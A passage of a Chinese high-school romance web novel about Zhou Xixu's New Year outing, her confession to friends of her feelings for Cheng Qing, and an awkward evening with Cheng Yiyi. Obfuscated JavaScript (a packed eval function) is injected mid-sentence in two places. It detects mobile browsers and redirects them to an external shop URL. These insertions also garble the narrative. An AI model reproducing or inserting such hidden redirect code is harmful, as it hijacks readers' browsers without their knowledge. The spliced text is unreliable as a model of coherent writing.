“我不去看着,你打算和他干嘛?”周悉丞冷冷道。 “什么叫我打算和他干嘛?都说了还有别人,又不止我俩,你去添什么乱。” 周悉丞今天有些莫名其妙。虽然他偶尔会说教,但从不干涉她和谁出去玩。 “少废话,要么我跟着去,要么你就别去。” 周悉丞扔下一句话就回了自己房间,没给人回嘴的机会。 周悉许揉了揉太阳穴,陷入两难。 一来周悉丞对程又一有成见,二来他和谁都不熟,去了只会尴尬。但他态度坚决,撇下他自己去又行不通。想来想去,还是放弃抵抗,顺着他了。 周悉许看了眼表,随后急匆匆下了楼。 餐桌上已经摆满了菜,长辈们也陆续就位了。 周悉丞刚好从楼上下来,他换了身衣服,头发似乎也打理过了,整个人看着比平常更帅。 周悉许盯着他看了好半天。 这人会变身?这么短的时间能换身衣服?而且…..怎么突然在意起颜值了? 见周悉许下来,沈意皖呵斥道,“赶快找个地方坐,大过年的别给人添堵。” 周悉许原本想火速吃几口,看到沈意皖那张脸瞬间没了食欲,“不给你添堵,我走。” “又去哪疯?” “不用你管。” 她一边穿大衣一边朝外走。 周悉丞跟在她身后,“我去看着她。” 两人一前一后出了门,沈意皖看看周征,叹了口气。 车上。 周悉许伸手摸了摸周悉丞的头发,“你抹发蜡了?” 周悉丞没回。 “还换了身衣服?” 周悉丞还是没回。 “你是要去和程又一比美?” 周悉丞依旧沉默,扭头看向车窗外。 周悉许从头到脚来回打量着旁边的人,思考几秒,问,“你该不会真喜欢男的吧?” 周悉丞喘了口粗气,“闭嘴。” 她很识相,开启了静音模式。 车很快停在了约定的地点,程又一和程卿已经等在那了。 程卿身穿一身白色毛呢大衣,美得像一朵山茶花,纯洁又坚韧。她正仰着头在看程又一,眼神很复杂。 在周悉许看来,那是超越了兄妹之情的。她不敢再继续往下想,暗示自己一定是又想歪了。 周悉许下车和他们打招呼。 看到周悉丞,对面的两人都愣了一下。程又一很快缓过神,程卿看着有些心不在焉。 周悉许笑着介绍,“我哥,周悉丞。” 程卿礼貌微笑,算是打了招呼。周悉丞罕见地点了点头。 两人似乎并不陌生。 介绍完,周悉许主动迎上去和程卿聊天。这是个难得的好机会,她不想浪费。 程卿很积极地回应她,偶尔还主动挑起话题。她不像小时候那么孤僻了,性格变了很多,但周悉许觉得,又好像没变。虽然她很热情,但总觉得不走心。 手机接连响起消息提示音。 点进去一看,是柳宜菲在群里发的年夜饭照片。都是些家常菜,看着很丰盛,他们一家人脸上洋溢着幸福的笑。 紧接着是徐途发的她自己包的饺子。 朱缇发的是和鲁卡卡的合照。 「我和卡卡在伦敦等你,来呀@周悉许。」 周悉许想了想,把手机递给周悉丞,“帮我们拍张照片。”她伸出手挎在程卿的胳膊上。 周悉丞没有接她的手机,用了他自己的,拍完随手发了过来。 周悉许点开照片一看,她闭眼了,旁边的程卿倒是笑得很美。 这拍照技术真令 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朱缇:「哈哈,你这夸人的水平,我都分不清是褒还是贬。」 徐途:「(大笑)(大笑)杀人诛心。」 朱缇:「@周悉许,我真想骂你,还挎人家胳膊,这么多年你咋没主动挎过我??」 朱缇:「人呢?」 朱缇:「@周悉许?」 周悉许没看群里的消息,一门心思都在程卿身上。 程卿穿得不多,晚上的气温很低,她整个人冻得瑟瑟发抖,一直在不停地搓手。 “还有多久倒计时?”程卿问。 “还要半个多小时呢。”周悉许回。 她看到程卿被冻得发红的鼻尖,便把自己脖子上的羊绒围巾摘下来递给她,“围上会好些。” 程卿没接,“不用了。” “我不冷,你围着吧。”周悉许又朝前递了递。 程卿犹豫着要不要接,程又一先一步替她回绝了。他推回了周悉许的围巾,摘下自己的递过去,“这个厚点。” 周悉许看着这一幕,心里莫名不是滋味。 “傻子”周悉丞在她头上轻轻拍了一下。 她没懂是什么意思。转头看周悉丞,但周悉丞并没打算给她解惑,闭着嘴没再说话。 “我们找个店喝点东西吧。”程卿说。 “我觉得可以,不然还要等好久。”周悉许顺着说。 另外两个人没表态,各自冷着脸站在左右两边。 周悉许看了看两人,“不拒绝就是默认。” 两人依旧没说话。 “那就这么愉快决定了。”她拿出手机搜索附近的店,很快就找到一家视野绝佳的甜品店。她把手机递给程卿,“这个怎么样,饮品和蛋糕看上去都不错。” 程卿伸过头看了一眼,“挺好的,就去这个店吧。” 甜品店离得不远,200多米的距离,几人走了没几分钟就到了。 店里的节日氛围浓厚,电视上播放着跨年晚会。 周悉许选了一个靠窗的四人位,她原本打算和程卿坐一起,无奈被程又一抢先一步,她只能坐到程卿对面。 刚落座,程又一便把自己的位置让给程卿,“你坐里面,视野好。” “啊?你不看吗?”程卿问。 “不看。”程又一回。 “那我坐过去吧。”程卿起身换到程又一的位置。 周悉许对着换到自己对面的人翻了个白眼。在心里暗骂:看个烟花屁事那么多。 接下来的气氛略微尴尬,程卿和周悉许偶尔说两句话,但又没有共同话题,只能尬聊。而程又一和周悉丞则全程不说话,各自摆弄着手机。 过了十来分钟,程卿起身去上卫生间,周悉许要陪她一起,被婉拒了。 又过了两分钟,周悉丞也起身去卫生间。 周悉许看着两个空位出神。 她感觉很不对劲,但又说不上哪里不对劲。 抬手看了一眼表。 11:58 快整点了,程卿和周悉丞貌似回不来。 周悉许有些坐不住了,她起身想去找人。 “去哪?”程又一问。 “去看看他们。”周悉许答。 “人上个卫生间,你去看什么?” 被程又一这么一问,她也觉得不合适,想了想,又坐下了。 “还有10秒。”程又一突然开口。 与此同时,电视里开始倒计时。 9 8 7 6 5 4 3 2 1 新年的钟声敲响。 夜空亮如白昼。 在一片响彻云霄的爆竹声中,伴着电视里的歌舞和周围人的庆贺,她听到了夹杂在其中的程又一的声音。 “新年快乐。”他说。 周悉许抬头。 四目相对。 程又一深邃的眼眸里映着她一个人的身影。 那个瞬间,她在程又一的注视里看到了难得的温柔。也是在那个瞬间,她察觉到前所未有的兵荒马乱。 窗外的烟花还在绽放。 所有的喧嚣、璀璨都在这一刻被定格。 “新年快乐,程又一。” 32. 暗涌 当晚,周悉许躺在床上久久不能入睡。 她拿起手机。 群里有一堆未读消息,朱缇发的炸弹直接刷屏。滑了好久才看到几人的聊天记录。聊的内容都是关于她和程卿的。 柳宜菲号称“南洋小灵通”,消息大部分来自于她。周悉许从这些零星的信息里,了解到程卿的近况。分开的这些年,程卿虽然性格变了不少,但还是和以前一样优秀,她顶着“天才少女”的称号,是同龄人中的佼佼者。 周悉许陷入沉思。 她清晰的意识到自己和程卿之间的鸿沟,程卿的前途一片光明。 而她是个没有未来的人。 沮丧和不甘突然涌上心头。 周悉许做了个大胆的决定。 她不打算再继续隐藏这份积压在心底的心意了。就算在别人看来是疯癫行为,就算程卿高高在上,她也想宣之于众。 周悉许在群里回了条消息。 「刚刚没时间看。」 刚发出去,朱缇就回复了。 「行,有了新朋友,忘了老朋友,周悉许,你个白眼狼。」 周悉许思考几秒,打了一行字,紧接着又删掉了。 朱缇又发了条消息。 「你和人程卿关系挺好啊,还挎上了,认识你这么多年,没见你这么热情,姐心已碎。」 周悉许盯着屏幕迟迟没动。 朱缇接连发了两条消息。 「人呢?」 「又消失了?」 柳宜菲出来打圆场。 「估计堵在路上了吧,今晚路上车多,都出去看烟花了。」 周悉许小心翼翼敲出一行字。 「想和大家分享个秘密。」 徐途几乎秒回。 「程又一和你表白了?」 周悉许忽然觉得有时候徐途的脑回路也挺奇葩,竟然能想出这么离谱的事。 「不是,是我的事。」 柳宜菲:「啥事?快说!」 朱缇发了个翻白眼的表情包。 「有话快说,有屁快放,别特么兜圈子。」 周悉许鼓起勇气,缓慢打出几个字。 「我喜欢程卿。」 她思索再三,按了发送键,而后,静等其他人的反应。 然而,几人反应平平,似乎是没理解她这个“喜欢”的含义。 柳宜菲率先回复。 「我也喜欢,人聪明又漂亮,简直完美。」 朱缇的消息紧随其后。 「嗯,你喜欢人家,烦我,@周悉许,我真懒得骂你。」 周悉许深深叹了口气,果然,在大部分人眼里,同性之间合乎常理的喜欢和她的喜欢是两个概念。 纠结了几秒,她决定说清楚。 「和你们想的那个喜欢不一样。」 群里安静了。 片刻后,朱缇发起群语音通话。 周悉许按下接听键。 朱缇极富穿透力的声音响起,“周悉许,你说啥不一样?不会是我说周悉丞的那个吧?” 周悉许坦诚说,“是。” 话落,响起一阵惊呼。 “悉许,你没开玩笑吧?”徐途的声音比平常高出几个分贝,很明显是被惊到了。 柳宜菲反应更是强烈,她直接爆粗口,“卧槽,我真不敢相信,南洋两大校花,竟然是一对?” “没有,我没和她表白,还在攻略中,所以你们先替我保密,顺便给我出出主意。”周悉许说。 朱缇从震惊中缓过来,问道,“周悉许,你没逗我吧?” “没有,你看我像开玩笑吗?” “那你怎么就看上人家了?太突然了吧。”朱缇问。 “不是突然,是喜欢很久了。”周悉许回。 朱缇屏住呼吸。 “她就是我小时候那个搭档,我去英国之后断联了,有一年在伦敦偶遇,还记得那次我问你心动是什么感觉吗?就是对她。” 周悉许娓娓道来,平静地像是在讲别人的事。 “那段时间我挣扎了很久,自己也很难接受,就搁置了,直到前阵子她转来南洋,我觉得是命中注定。” “周悉许,我真没想到,看来你们家族有这个基因啊,现在我更觉得周悉丞不直了。”朱缇开玩笑说。 “可能吧,周悉丞今天挺怪的,见程又一还换身衣服,弄了个发型,没准儿真被你说中了,我家有这个基因。” “卧槽,真的假的?” 周悉许笑着说,“他明知道是和程又一去看烟花,非要跟着去,又搞得和花孔雀一样,直不直我不知道,不过挺不正常。” 自从和程又一闹出那个乌龙事件之后,周悉许谨慎了许多,哪怕脑子里有奇怪念头闪过,她也不敢轻易下结论。 算是吃一堑长一智。 朱缇没继续问周悉丞,又把关注点聚焦回周悉许和程卿。“你确定你能把人家追到手?别给人吓坏了,人是乖乖女,和你完全不是一个世界的人。” “嗯,确实不是一个世界的人。”她重复了一遍,没什么底气。 “我觉得朱缇说的挺对,程卿的观念里应该很难接受。”柳宜菲小声说。 周悉许原本就没信心,听两人这么一说心里更没底了。其实她自己比谁都清楚,追到程卿的几率微乎其微,但她还是觉得应该试试。 无论结果怎样,也算给少女时期的自己一个交代。如果试都不敢试,那太怯懦了。 “悉许,加油,我支持你。”徐途鼓励道。她带着骨子里那股偶尔显现的执拗,“喜欢一个人,就应该勇敢,很多事,其实缺的就是勇气。” “话是没错,但是这不是勇敢就能解决的事。”柳宜菲说。 朱缇也认可,补充道,“是啊,你情我愿不是单方面的,怎么也要对方也有好感。” 徐途没反驳,默了几秒说,“有道理,但我觉得还是可以试一试。” “可以试,但得先有个心里准备,周悉许,你得先预想到坏的结果,你能不能接受?”朱缇问。 周悉许思考着这话。 “我说的坏的结果不仅仅是被拒绝,你要想到如果程卿觉得你不正常,远离你,你能不能接受?还有外界的看法,你能不能真的做到不在意?”朱缇继续问。 朱缇说的其实正是周悉许的困扰。 她最开始之所以不敢面对自己的真心,就是觉得这份喜欢不正常。经历了很复杂的心路历程才正视自己的内心,说服她自己都这么难,说服程卿和其他人的难度更是可想而知。 见周悉许没坑声,朱缇又说,“你想清楚,我绝对百分之百支持你的任何决定。” 朱缇是为了她好,或许是有周悉丞那个前车之鉴,她在这方面考虑的很全面。 如果不是双向奔赴,一开始就不要说出来未必不是件好事。毕竟,以朋友的身份接触不会让彼此难堪。 “我考虑考虑。”周悉许沉声道。 挂断语音,过了好久她才睡着。 床头柜上的手机屏幕亮了一下,显示是朱缇发来的消息。 此刻的周悉许自然不得而知,那是朱缇删删改改编辑了很久才酝酿出的,是她为数不多的真情流露。 原本冗长的一大段话,最终只剩下只言片语: 「周悉许,加油吧,姐看好你。」 —— 隔天。 程又一的电话扰了周悉许的清梦,半梦半醒中她按了接听键。 “今天有事没?” “干嘛?”她问。 “没事就提前补课,你闲着也是闲着。”程又一说。语气里带着些教训人的意味,看样子是真把自己当老师了。 周悉许很不爽。“大早上打电话就说这个?你闲着没事干吧。” “嗯,是挺闲的。” 周悉许气得胡乱挠了挠头发,“闲,就去找点事干,别打扰别人。” “你干嘛呢?”程又一问。 “睡觉,听不出来吗?” “在中央公园?” “嗯,没别的事了吧?我挂了啊。”周悉许不耐烦地说。 “午饭怎么解决?”程又一又问。 “不知道。” 周悉许完全没了耐心,回的很敷衍,但也是实话。 她一个人在家饮食不规律,午饭晚饭取决于她睡到几点,醒了之后要么订外卖,要么就和朱缇出去吃。 “嗯,挂了。” 程又一说完便自顾自地挂断电话。 周悉许看了眼手机,“有病。” 这人太没礼貌了,大早上把别人吵醒,教育完人就自已挂电话了。 被程又一这么一搅和,周悉许彻底清醒了。她起身去冲了杯咖啡,随手打开一盒饼干,拿起来一块放进嘴里。 “这么甜。”她拿起来饼干盒看了看。 这饼干是朱缇买的,又甜又腻,不是她喜欢的口味,她端着咖啡去了客厅,窝在沙发上打算继续追之前没看完的剧。 追了两集,肚子开始咕咕叫。她拿起手机,点开外卖软件。 正琢磨着吃什么,响起一阵敲门声。 这个时间朱缇在伦敦,陆竞在纽约,周悉丞回了西岛,除了他们几个,周悉许想不到其他人了。 难不成是物业来送温暖? 周悉许不疾不徐地走到门口,推开门,就看到了程又一。 程又一手里还提着两个巨大的超市购物袋,里面装得满满当当的。 周悉许没想到程又一会来,她呆滞了几秒。 “来拜年,不请人进去?”程又一说。 周悉许缓过神,侧身让路,“你怎么来了?” “和家里吵架,被赶出来了。” “你不是也自己住吗?赶出来还能没地方去?” 周悉许记得程又一之前和自己说过他也是独居,而且还是和周悉丞在一个别墅区。 “大过年的,一个人吃饭太凄凉。” 程又一把东西放到厨房,又折回客厅。 他看着倒是丝毫没受吵架影响,心情似乎还不错。 “那你叫篓恩啊。” “他出不来。” “他家管的很严?”周悉许问,“看他那样,感觉不像能被管住,怎么突然听话了?” 程又一应付地“恩”了下,没再说篓恩,“所以这不来投奔你了。” 他把外衣挂在衣架上,去了厨房。 周悉许的嘴张了又张,最后还是合上了。 这人是真不见外,大年初一跑别人家来了。 还是和之前一样,周悉许习惯性地窝在沙发上看电影,程又一在厨房忙碌。 程又一放在茶几上的电话突然响了起来,屏幕上显示着“程卿” 周悉许看了几秒,朝厨房喊,“程卿给你打电话了。” “你接一下。”程又一回。 “恩?”周悉许不太确信,“你确定让我接?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周悉许在原地站了一会儿,最后还是去了客厅,她坐在沙发上,心不在焉地看着电视,视线始终没离开屏幕。 一个多小时后,准备开饭了。 周悉许看着一桌子菜却没有胃口。 她拿起筷子扒拉着碗里的饭,心里还在想着刚才的事。 “不合胃口?”程又一问。 “没有,挺好吃的。” “你连吃都没吃,就知道好吃?” 程又一戳穿她。 “那你都看到我没吃,还问我不合胃口?” 周悉许振振有词。 程又一没和她掰扯,把装着鸡翅的盘子朝她前面推了推,“尝尝这个,我的拿手菜。” 周悉许装得很随意,夹起一块咬了一口,“挺好吃的。” 她自认为表现的很正常,但还是没逃过程又一的火眼金睛,“没胃口就别硬吃。” “你哪只眼睛看出来我没胃口了?” “两只眼睛都看出来了。” “我食欲好得很,别耽误我吃饭,食不言寝不语不知道啊。” 周悉许死活不承认,她怕被程又一看出有心事,更怕被程又一看出这心事和他有关。 “食欲好就多吃点,吃完做一套题。”程又一说。 周悉许没心情做题,她今天不想面对程又一,便摆了个臭脸,“我太困了,吃完要睡觉。” 没明说,实则是下逐客令。 她以为程又一能识趣离开,没想到程又一非但没理解,反而还曲解她的意思。 “我在这,你也敢睡?”程又一抬眉,眼神耐人寻味,接着,认可似得点头,“也对,又不是没睡过。” 后面的那句语气明显暧昧。 “……”周悉许黑脸不搭话。 这个狗东西又调侃人…… 程又一整理了下自己身上的衬衫问,“你是不是故意的?” “?”周悉许脑子宕机,“故意什么?” “就等我对你做点什么?” “……” 果然......狗嘴里吐不出象牙。 “没你想的那些乱七八糟的,别给自己加戏。” 周悉许抬起筷子三口两口就吃完了碗里的饭。 她不好意思直说让程又一回去,程又一自己又不会看人脸色,她只能硬撑着。 由于周悉许的心思不在学习上,当天的效率很低,整个人不在状态。 程又一都看在眼里,但没追问。 寒假转瞬即逝。 在程又一的帮助下,周悉许有了显著提升,各科的基本题型她都掌握了,学习对她来说也不像之前那么吃力。 尽管还达不到中等水平,但估么着是脱离了吊车尾的行列。 除此之外,让周悉许最欣喜的是程卿竟然主动约她吃饭逛街,两人一来二去来往频繁起来,关系也随之亲近了。 这个寒假对周悉许而言算是双丰收,成绩提升了,喜欢的人也终于不再是陌路。 周悉许第一次体验到从未有过的掌控感。 一切都朝着她希望的方向发展,未来的路开始渐渐清晰。 但这期间,周悉许又有了新的烦恼。 她越来越看不透程又一。 更让她苦恼的是不知道从什么时候起,她总是不受控地想去揣摩程又一。 程又一指节上的薄茧,说话时微降的语调,还有他看向自己时幽深的眼眸。 期初,只不过是一些零碎回想,可渐渐的,这些碎片自行拼凑,在周悉许心里上演无声的独幕剧。 她越是想压制,思绪越是肆意蔓延。 那些她不愿深究的细节,在寂静的夜里疯狂生长。 33. 乱摸什么 三月。 天初暖,春将至,申泸的天气一天天好起来。 周悉许和程卿的关系也逐渐熟络,在外人看来,两人是很要好的闺蜜。她每天大张旗鼓地去给程卿送早餐,课间送水果,下午送零食,一度引起了朱缇的不满。 “周悉许,你个重色轻友的,我怎么就没发现你还有这么贴心的一面?” “你没发现的还多着呢。”周悉许厚着脸皮说。 “卧槽,你特么真吓人,以后离我远点。”朱缇嫌弃道,“你以前该不会趁我睡觉,偷偷对我做过见不得人的事吧。” 周悉许被气笑,“你?还不至于!心放肚子里吧,我只是喜欢程卿,又不是禽兽。” 柳宜菲和徐途听着两人大胆的对话,互相看了彼此一眼,而后面色凝重。 这友谊,有点危险。一个不小心,可能会失身。 “对了,马上就是南洋音乐节了。”柳宜菲突然想起刚接到筹备音乐节的任务,便先从身边人下手。“你们谁贡献个节目呗?” 朱缇笑着说,“姐可以上去来一段舞蹈,就怕老师不让。” “可以跳舞的,你打算跳什么类型的?芭蕾还是古典舞?我记一下。”柳宜菲打开手机备忘录,显然是没听出朱缇在开玩笑。 周悉许很了解朱缇那张嘴,和正经事不沾边,十句话里有九句是胡扯。“你别搭理这个女流氓,她没个正形,和你开玩笑呢。” 柳宜菲看向朱缇,眼里全是期待。 朱缇笑了笑,“谁开玩笑了,我说正经的呢,我最擅长跳脱衣舞,钢管舞也可以试试。” 柳宜菲放下手机,嘟起嘴,“好吧,悉许说的没错。”她一脸苦大仇深,“哎,我可怎么办。” “怎么了?这么愁眉苦脸?”徐途问。 “上午陈老师给我们开会,让动员大家积极参加,诸葛去他班问了一圈,大家都没兴趣。” “可能都忙着学习,参加节目太耗费精力了。”徐途说。 “是啊。”柳宜菲顺着说,“这个狗屁音乐节时间定的有问题,都快高考了,高三的哪有精力参加?高二也都忙着学习,看来看去,能参加的也就高一新生。” 徐途同情地拍拍她的肩膀,“你这副主席当的也挺累,我没什么才艺,爱莫能助。” 柳宜菲又叹了口气。 “诸葛都想拉我和他组个节目了,我唱歌跑调,实在丢不起这人。” “她行啊,给她报上去。”朱缇推了一下周悉许,“她会拉大提琴,水平还不错呢。” 周悉许对这种表演无感。自从去了英国,她就没在公开场合拉过大提琴,但如果能帮到柳宜菲,她可以凑个数。 “行,那把我报上去吧。”。 朱缇眼珠子转了一圈,“周悉许,机会这不就来了嘛。” “什么机会?”周悉许扭头看她。 “你刚好趁这个机会和程卿再合作啊,这不是很好的理由吗。”朱缇坏笑着挤了下眼。 “有道理。” 还是这货损招多。 周悉许掏出手机给程卿发了个信息。 「帮个忙呗,我准备参加南洋音乐节,好久没拉大提琴了,一个人有点紧张,能和我一起吗?」 发完消息,她嘴角扬了扬。 朱缇嫌弃地瞥了她一眼。“看你那没出息样儿” 周悉许心情好,没计较。 “你还别说周悉许,自从知道你爱好女以后,偶尔感觉你有点酷。”朱缇打趣说,“就是这儿有点违和。”她伸手在周悉许胸前指了指,“分量不小” “滚!”周悉许瞪了她一眼。 “没和你开玩笑,你要么弄小点?” 周悉许伸手重重地在她后背拍了一下。 手机忽然震动两下,是程卿的消息。 「好,那我们什么时候排练?」 她想了想,试探着回: 「每天放学后你方便吗?也就一个星期的时间。」 程卿答应得很爽快。 「方便,就每天放学后吧。」 她勾起唇角,回: 「阶梯音乐中心一区302,放学见。」 给程卿回复完,她又给程又一发了条消息。 「今天不补课了。」 开学之后,两人约定每天放学去周悉许家补课,还是和假期一样,补课期间一起吃饭,程又一负责做,周悉许跟着吃。 消息刚发过去,程又一就回了。 「理由。」 这人特认真,每次请假他都要刨根问底,不合理的理由他不批。 周悉许飞快地回:「音乐节有表演,要和程卿一起练琴。」 程又一:「就今天?」 周悉许:「音乐节前的每一天。」 程又一:「好。」 原本以为这人又会扯出一堆屁话拒绝,没想到他竟然这么轻易就同意了。 想到放学要和程卿一起练琴,周悉许一整个下午都心不在焉。时隔多年,再次和程卿合作,她除了兴奋,还有些紧张。 最后一节课的下课铃声一响,她背上包小跑着出了教室。 到了约定的地点,推开门,里面空无一人。她看了看表,是她提前了,程卿应该在来的路上。 等了快二十分钟,终于有人来了。 教室的门被推开。 程卿走进来。 周悉许刚要上前打招呼,就看到跟在后面的人。 她的笑容瞬间僵住。 这货怎么跟来了…… 于是,原本想说的,“你来了。”变成了“你怎么来了?” “你们练完太晚,不安全。”程又一找了个靠前排的位置,把书包往椅子上一撂。 “你先回去吧,不用担心我们。”周悉许尽力咧着僵硬的嘴角,笑得比哭还难看。 程又一看着她那副模样,觉得有些好笑:“没担心你,别自作多情。” 一句话,气得人肝儿颤。 “我可以保护程卿。”她说。 “交给你,更不放心。”程又一轻笑。 “……” 周悉许被说得心虚。难不成自己的心思被看出来了? 她迅速在脑子里过了一遍这些天的种种,她说过的话、做过的事、每一个看向程卿的眼神。没有破绽,伪装得很完美。 程又一应该不会察觉。 大概是做贼心虚,太敏感了。 “抱歉悉许,表哥是担心我所以才跟来,我应该提前和你说一声。”程卿面带歉意地说。 “没事。” 程卿拎着琴走过去,“那我们开始吧。” “好。” “我们选哪首曲子?”程卿问。 周悉许想了想,“舒伯特的《小夜曲》怎么样?我们之前也合作过,比较熟。” “行。”程卿打开琴盒,拿起琴,“我先调调音,好久没拉了。” 周悉许的准备工作早就做好了,但为了等程卿,她只能给自己找点事做,磨洋工似得反反复复给琴弓打松香。 不经意间,她的眼神飘向台下,视线和程又一撞了个正着。她急忙回避,眼睛死死盯着手里的弓,不敢再到处乱看。 过了好一会儿,程卿架起琴,“我好了。” 周悉许比了个“OK”的手势。 程卿手指按着琴弦,另一只手挥拉琴弓,随后悠扬的小琴声响起。 周悉许扶起自己的大提琴,静等合奏部分。再次听到熟悉的旋律,她有些恍惚。上次拉这首曲子,还是好多年前,记忆中的那张脸和眼前少女的脸逐渐重合。 褪去了曾经的稚嫩,程卿的眼神里也有了情绪。 此时,她正看向台下。眼里像溺了春水,很柔和,还带着点深情,看得出是真情流露。 而这视线的尽头是程又一。 周悉许愣了愣。 以一个旁观者的身份,窥探着程卿那份明目张胆却又小心翼翼的心意,很难说清楚是一种怎样的感受。 她思绪万千。 “悉许,怎么不拉?是需要时间先练一下吗?” 程卿的声音拉回了她的注意力。 她不自然地回,“嗯,太久没拉,生疏了,今天我们先各自练一下,明天再合。” “好。”程卿应了一声,又朝台下喊,“表哥,来帮我伴奏。” 闻声,程又一起身走上台,在钢琴前坐下。他朝程卿微微点了下头,修长的手指落在琴键上,熟悉的前奏缓缓流淌而出。 下一秒,程卿拉动琴弓,小提琴的悠扬和钢琴的低沉便交织在一起。 两人的配合默契十足。 周悉许忽然意识到,自己是个局外人。 台上那两人不需要台词,不需要对望,甚至不需要任何刻意的默契。而她在这里,像个误入的观众。 她望着程又一的方向。 昏黄的灯光把他的轮廓照得忽远忽近,表情藏在暗影里,看不真切。 他那么聪明,不可能什么都没发现。但如果他心知肚明,还不和程卿划清界限,甚至纵容她的亲近,就应该算的上是在回应了。 周悉许脑子里冒出一连串的问题,像被揉散了的线头,越理越乱。 钢琴声戛然而止。 “怎么不弹了?”程卿问。 “忘了,你自己练吧。”程又一冷声回,说完起身走下台,坐回观众席。 程卿“哦”了一声,整个人气压很低。 周悉许看着两人的互动,心里莫名不爽。让她不爽的究竟是程卿,还是程又一? 她没细想。 也没深剖这情绪因何而起。怕窥探到的全貌,超出她能承受的范围。 —— 之后几天的排练,程又一都没缺席。但存在感很低,没再参与,只是安静地在坐台下,老老实实当个观众。 周悉许和程卿倒慢慢找回了曾经的默契,两人的合奏甚至比之前更合拍。 排练的最后一天,刚好是程卿的生日。 朱缇帮忙找人定制了一份礼物,是一个音乐盒。盒子里立着两个小女孩,一个拉小提琴,一个拉大提琴,转动的旋律是她们合奏的《小夜曲》。 当天下午,周悉许几人早早就去了音乐教室。柳宜菲发挥她的聪明才智,想出了现场的布置方案。 教室里摆满了鲜花和气球,舞台中央是玫瑰花拼成的爱心。 虽然老套,但氛围感拉满。 但凡有脑子的,一眼就能看出这是什么意思。 布置完场景,三人就离开了,周悉许一个人在教室里等。 等了好久,程卿都没来。 她一连发了好几条消息,那边一直没回。直到太阳都快下山了,程卿还是失联状态。 周悉许有些急了。 她犹豫了几秒,点开程又一的对话框,发了条消息过去。 「程卿和你在一起吗?我联系不上她,如果你俩在一起,帮我问一下,今天还来排练吗?」 消息刚发出去,程又一的电话就打过来了。 “她没和我一起,你还在音乐教室?” 他的语速比平时快了些。 “嗯,那你知道她去哪了吗?电话一直没人接。”周悉许说。 “不知道。”程又一回。 手机弹出电量低的提示,周悉许看了一眼说,“好,那我再等等。” 说完便挂了电话。 今天这么特殊的日子,程卿会去哪? 周悉许想了一圈,没有答案,也找不到其他能联系到程卿的办法。 以她对程卿的了解,如果今晚有别的安排,程卿一定会提前告诉她。 周悉许看了眼已经黑屏的手机,无奈地垂下头。她联系不上外界,离开这里又怕程卿来了找不到自己。眼下除了等,没有别的办法。 她看着窗外发呆。 过了一会儿,身后传来推门的声音。 她脸上挂着笑,转过头—— 笑容瞬间僵住。 来的不是程卿,是程又一。 “手机没电了?”程又一问。 “嗯。”她迎上前几步,“你联系到程卿了吗?” “没有。”程又一环视了下四周,不咸不淡地说,“挺用心。” 他的话言简意赅,看来也知道今天是程卿的生日。 天色已经暗了下来,空旷的教室里安静得有些发空,两个人之间隔着一大段距离。 程又一指了指台上用玫瑰花堆成的爱心,“什么意思?” 周悉许沉默了几秒,语气平静,“就是你看到的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586046|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 程又一没说话,就静静地看着她。 目光不重,却有分量。 僵持了片刻,程又一抬腿走到她面前,语气冷得过分,“看不懂,解释一下。” 周悉许能感受到他身上的压迫感。就算他之前没察觉,到了此时此刻,也绝对一清二楚了。 她也不打算再遮掩,“你心里不是已经有答案了吗?就是你想的那样。” 程又一定定地看着她,眼眸深沉,看不出情绪。 周悉许有些无措。背在身后的手微微收紧,她轻抿了下唇,装得很镇定,但手心里已经出了一层薄汗。 两人再次陷入无声的僵持。 过了好一会儿,还是程又一率先打破沉默。 “所以——”他顿了顿,深吸了口气,似乎是在平复情绪,“你之前的反常,是因为程卿?” 周悉许依旧沉默,只是点了点头。 程又一苦笑。 半晌,他又点了点头,像是接受了这个事实,“行,她去申大,你总得离得近点吧。你现在这成绩,能去哪?” “她跟你说的?去申大?” “嗯。” “知道了,后面我会努力。”周悉许说。 “只动嘴?”程又一怼她。 “……” “付出点行动,以后除了每天放学,周六周日全天补课,别总找借口请假。” “好。”周悉许答应得爽快。她知道自己现在几斤几两,以目前的成绩,没有拒绝的资格。 程又一在就近的位置坐下:“站半天了,坐会儿?” “你不走?”周悉许问。 “一起等吧。这都布置好了,不弄个生日派对可惜了。”程又一调侃道。 周悉许无话可说。 两人心知肚明,但她不好挑明了直说。本能地拿起手机,试图打发时间,也借此逃避和程又一交流,按了两下才想起来手机没电了。 “你给程卿打个电话。” 程又一掏了掏口袋:“没带手机。” “你逗我呢吧。” 这人绝对是在开玩笑。 周悉许死死盯着他,试图找出破绽。 程又一起身,摊开双手:“自己翻。” 他身上穿着南洋的制服,白衬衫外面套着西装外套,下身是西装裤。能藏东西的,只有外套和裤子的口袋。 周悉许凑过去,双手分别伸进程又一上衣的两个口袋,里面空空荡荡。 她又把手探进西装裤的口袋。口袋很深,她在里面摸索了几下。 下一秒,愣住了。 随后屏住呼吸。 自己似乎犯了个大错。 周悉许不敢抬头,视线落在程又一上下滚动的喉结上,心跳快了一拍。 她能感觉到程又一的喘息重了。他原本摊开的双手不自觉弯曲,最终攥成了拳。 周悉许的心像被提到了嗓子眼,呼吸也跟着乱了。 昏暗中,暧昧的氛围如暗潮般无声涌动。 “乱摸什么。” 程又一的声音沙哑了许多,湿热的气息拂过她的额前。 她急忙抽出手,本能地向后挪了半步,拉开距离。“我没有。” 傍晚的音乐教室很静。静到她能听见自己身体里某个器官在砰砰直跳,比平时快了许多。 “嗯,是没乱摸。目的性挺强的。”程又一低笑。 周悉许脑子乱成一团,心也跳得没了规律,手还僵在半空中,硬撑着装淡定:“刚才抱歉,我的失误。” 程又一垂眸看着她:“你这失误有点过分。” “嗯,所以我很郑重地跟你道歉。” 程又一不语,只是看着她。 周悉许想了想,又说:“我可以给你补偿,你看看想要什么,钱还是其他的。” “你还挺渣。”程又一笑了,“犯这么大一错,给点钱就想打发人。” 周悉许语塞。 